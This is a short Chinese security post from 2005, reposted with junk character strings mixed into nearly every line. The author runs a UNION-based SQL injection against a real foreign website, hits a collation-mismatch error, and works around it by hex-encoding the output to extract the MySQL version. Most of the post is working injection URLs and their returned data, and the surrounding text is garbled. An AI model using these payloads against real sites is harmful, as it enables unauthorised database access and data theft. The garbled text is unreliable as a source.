本文作者:SuperHei8 A# l, Z( L8 S- _* n4 f% F& |
文章性质:原创
* b# @3 \% r" t9 }发布日期:2005-10-186 H5 t1 [0 {3 y6 N4 m5 x& i2 L8 U
测试个国外的站时:* r" ]" w) v. i* K
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
3 b# D9 ]. k& j9 f, b+ S9 E返回错误:
( I9 C: U! D: j) bIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
$ ]) d7 p- H! l' ]2 b# yMySQL Error No. 126 v7 Y- W! K2 \' M
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
% F8 k) f! H; P' w! H' y/ F, e解决办法:转为其他编码如hex。3 y$ |& N$ q% t' H: _* T0 C( ~7 x
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*1 H# V2 o0 g+ n4 _2 N8 s1 K4 |+ d
成功得到hex(version())的值为:
3 U( q+ P* U6 P$ m0 f% F6 d6 Q342E312E332D62657461( _5 O& L7 g' J. k6 m$ l, J
回Mysql查询下得到:
( e8 I: G% |& `$ _4 ]# jmysql> select 0x342E312E332D62657461;
1 \) u5 C. h; F. p+------------------------+
9 r! ?$ k% p+ R: G' { X* V: {| 0x342E312E332D62657461 |- V6 p2 N) {3 \+ i, ^: G& c N3 |# t
+------------------------+( C+ \! u7 ~! {
| 4.1.3-beta |% c/ R5 T5 \5 B- ~4 {3 u3 G; P0 @
+------------------------+
! |/ [# d) L w2 _* e% u1 row in set (0.00 sec)) o0 x: F0 D' e" E1 A3 g
1 m* d( T1 A8 w$ p
|